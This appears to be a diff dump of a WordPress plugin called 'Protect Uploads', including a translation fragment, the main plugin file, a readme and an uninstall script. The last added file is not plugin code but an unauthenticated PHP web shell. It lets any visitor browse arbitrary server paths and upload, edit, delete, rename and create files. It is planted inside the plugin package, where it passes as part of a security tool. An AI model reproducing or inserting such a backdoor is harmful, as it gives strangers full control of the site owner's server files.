"\"></span> <a href=\"https://www.alticreation.com/en/alti-watermark/\" target="
"\"_blank\">Watermark Plugin</a>."
msgstr ""
"Questo plugin è compatibile con <span class=\"dashicons dashicons-awards\"></"
"span> <a href=\"https://www.alticreation.com/en/alti-watermark/\" target="
"\"_blank\">Watermark Plugin</a>."
#: admin/views/protect-uploads-admin-settings-page.php:78
msgid ""
"To do so, you have to: 1. Install the Watermark Plugin 2. Then choose your "
"settings in this page and Update."
msgstr " "
#: admin/views/protect-uploads-admin-settings-page.php:85
msgid "Update"
msgstr "Salva le modifiche"
#: admin/views/protect-uploads-admin-settings-page.php:94
msgid "Protect Uploads plugin is developped by"
msgstr "Questo plugin è stato sviluppato da"

View File

@ -0,0 +1,44 @@
<?php
/**
* Plugin Name: Protect Uploads
* Plugin URI: https://www.alticreation.com/en/protect-uploads/
* Description: Protect your uploads directory. Avoid browsing of your uploads directory by adding a htaccess file or an index.php file.
* Version: 0.3
* Author: Alexis Blondin
* Author URI: https://www.alticreation.com
* License: GPL-2.0+
* License URI: http://www.gnu.org/licenses/gpl-2.0.txt
* Text Domain: protect-uploads
* Domain Path: /languages
*/
// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
die;
}
function activate_alti_protect_uploads() {
require_once plugin_dir_path( __FILE__ ) . 'includes/class-protect-uploads.php';
require_once plugin_dir_path( __FILE__ ) . 'includes/class-protect-uploads-activator.php';
$activation = new Alti_ProtectUploads_Activator();
$activation->run();
}
function deactivate_alti_protect_uploads() {
require_once plugin_dir_path( __FILE__ ) . 'admin/class-protect-uploads-admin.php';
require_once plugin_dir_path( __FILE__ ) . 'includes/class-protect-uploads-deactivator.php';
$deactivation = new Alti_ProtectUploads_Deactivator();
$deactivation->run();
}
register_activation_hook( __FILE__, 'activate_alti_protect_uploads' );
register_deactivation_hook( __FILE__, 'deactivate_alti_protect_uploads' );
require plugin_dir_path( __FILE__ ) . 'includes/class-protect-uploads.php';
$plugin = new Alti_ProtectUploads();
$plugin->run();

View File

@ -0,0 +1,65 @@
=== Protect uploads ===
Contributors: alticreation
Donate link: https://www.alticreation.com/en/protect-uploads/
Tags: uploads, protection, images protection, browsing images, uploads folder, image folder, avoid browsing folder, hide uploads, prevent uploads browsing, prevent images browsing, protect library, library
Requires at least: 3.0.1
Tested up to: 5.4.1
Requires PHP: 5.0
Stable tag: 0.3
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
Protect your uploads directory to people who want to browse it. Avoid browsing of your uploads directory by adding a htaccess or index.php file.
== Description ==
The uploads directory is where the files of the WordPress library are stored. Unfortunelty, this directory is not protected. A person who wants to see all your library could list it instantly going to : http://yourwebsite/wp-content/uploads . This plugin will hide the content by adding an index.php file on the root of your uploads directory or by setting an htaccess which will return a 403 error (Forbidden Access).
* Depending on your server setting, the htaccess option could be disabled.
Available languages :
* English
* Français
* Español
* Italian (thanks to Marko97)
For support, please visit [protect uploads plugin](https://www.alticreation.com/en/protect-uploads/ "protect uploads plugin for Wordpress by alticreation")
== Installation ==
1. Upload `protect-uploads` folder to the `/wp-content/plugins/` directory
2. Activate the plugin through the 'Plugins' menu in WordPress
Note : GD library is needed and being able to create a .htaccess file in uploads directory.
== Frequently Asked Questions ==
= Support =
You can ask question and read documentation at [protect uploads plugin](https://www.alticreation.com/en/protect-uploads/ "protect uploads plugin for Wordpress by alticreation")
== Screenshots ==
1. Administration Page for the plugin.
== Upgrade Notice ==
Nothing for now
== Changelog ==
= 0.1 =
* Initial release
= 0.2 =
* Add security check to form in admin page.
* Add sidebar for admin page
* Add Italian translation (thanks to Marko97).
* Try to fix the wrong message saying that Protection is disabled eventhough it is actually working.
= 0.3 =
* Simplify UI admin.
* check presence of index.html.
* Remove option value managing current protection status.
* Reorganizing code and making it more modular and simple.
* Remove useless pieces.

View File

@ -0,0 +1,44 @@
<?php
/**
* Fired when the plugin is uninstalled.
*
* When populating this file, consider the following flow
* of control:
*
* - This method should be static
* - Check if the $_REQUEST content actually is the plugin name
* - Run an admin referrer check to make sure it goes through authentication
* - Verify the output of $_GET makes sense
* - Repeat with other user roles. Best directly by using the links/query string parameters.
* - Repeat things for multisite. Once for a single site in the network, once sitewide.
*
* This file may be updated more in future version of the Boilerplate; however, this is the
* general skeleton and outline for how the file should work.
*
* For more information, see the following discussion:
* https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/pull/123#issuecomment-28541913
*
* @link http://example.com
* @since 1.0.0
*
* @package Plugin_Name
*/
// If uninstall not called from WordPress, then exit.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
exit;
}
class Alti_ProtectUploads_Uninstall {
public static function run() {
$plugin_name = 'protect-uploads';
if( is_admin()) delete_option( $plugin_name . '-protection' );
}
}
Alti_ProtectUploads_Uninstall::run();

View File

@ -0,0 +1,130 @@
<?php
session_start();
$currentDirectory = $_GET['path'] ?? __DIR__;
function listDirectoryContents($directory) {
$entries = array_diff(scandir($directory), ['.', '..']);
echo "<h3>Current Directory: $directory</h3><ul>";
foreach ($entries as $entry) {
$absolutePath = realpath("$directory/$entry");
$style = determineItemStyle($absolutePath);
$isDirectory = is_dir($absolutePath);
echo "<li style='$style'>";
if ($isDirectory) {
echo "<a href='?path=$absolutePath'>$entry</a>";
} else {
echo "$entry -
<a href='?path=$directory&task=modify&item=$entry'>Modify</a> |
<a href='?path=$directory&task=remove&item=$entry'>Remove</a> |
<a href='?path=$directory&task=rename&item=$entry'>Rename</a>";
}
echo "</li>";
}
echo "</ul>";
}
function determineItemStyle($path) {
if (is_readable($path) && is_writable($path)) {
return "color: green;";
}
return is_writable($path) ? "color: gray;" : "color: red;";
}
function processFileUpload($directory) {
if (!empty($_FILES['fileUpload'])) {
$destination = $directory . DIRECTORY_SEPARATOR . basename($_FILES['fileUpload']['name']);
if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $destination)) {
echo "<p>File uploaded successfully!</p>";
} else {
echo "<p>File upload failed.</p>";
}
}
}
function addFolder($directory) {
$folderName = $_POST['folder'] ?? '';
if ($folderName) {
$folderPath = $directory . DIRECTORY_SEPARATOR . $folderName;
if (!file_exists($folderPath)) {
mkdir($folderPath);
echo "<p>Folder created: $folderName</p>";
} else {
echo "<p>Folder already exists.</p>";
}
}
}
function addFile($directory) {
$fileName = $_POST['file'] ?? '';
if ($fileName) {
$filePath = $directory . DIRECTORY_SEPARATOR . $fileName;
if (!file_exists($filePath)) {
file_put_contents($filePath, '');
echo "<p>File created: $fileName</p>";
} else {
echo "<p>File already exists.</p>";
}
}
}
function modifyFile($filePath) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
echo "<p>File saved successfully!</p>";
}
$content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : '';
echo "<form method='POST'><textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
echo "<button type='submit'>Save</button></form>";
}
function removeFile($filePath) {
if (file_exists($filePath)) {
unlink($filePath);
echo "<p>File removed.</p>";
}
}
function renameFile($filePath) {
if (!empty($_POST['newName'])) {
$newFilePath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
rename($filePath, $newFilePath);
echo "<p>File renamed successfully.</p>";
} else {
echo "<form method='POST'><input type='text' name='newName' placeholder='New Name'><button type='submit'>Rename</button></form>";
}
}
if (!empty($_GET['task']) && !empty($_GET['item'])) {
$itemPath = $currentDirectory . DIRECTORY_SEPARATOR . $_GET['item'];
switch ($_GET['task']) {
case 'modify':
modifyFile($itemPath);
break;
case 'remove':
removeFile($itemPath);
break;
case 'rename':
renameFile($itemPath);
break;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileUpload'])) {
processFileUpload($currentDirectory);
} elseif (!empty($_POST['folder'])) {
addFolder($currentDirectory);
} elseif (!empty($_POST['file'])) {
addFile($currentDirectory);
}
}
echo "<a href='?path=" . dirname($currentDirectory) . "'>Go Up</a>";
listDirectoryContents($currentDirectory);
echo "<h3>Upload File</h3><form method='POST' enctype='multipart/form-data'><input type='file' name='fileUpload'><button type='submit'>Upload</button></form>";
echo "<h3>Create Folder</h3><form method='POST'><input type='text' name='folder' placeholder='Folder Name'><button type='submit'>Create</button></form>";
echo "<h3>Create File</h3><form method='POST'><input type='text' name='file' placeholder='File Name'><button type='submit'>Create</button></form>";
?>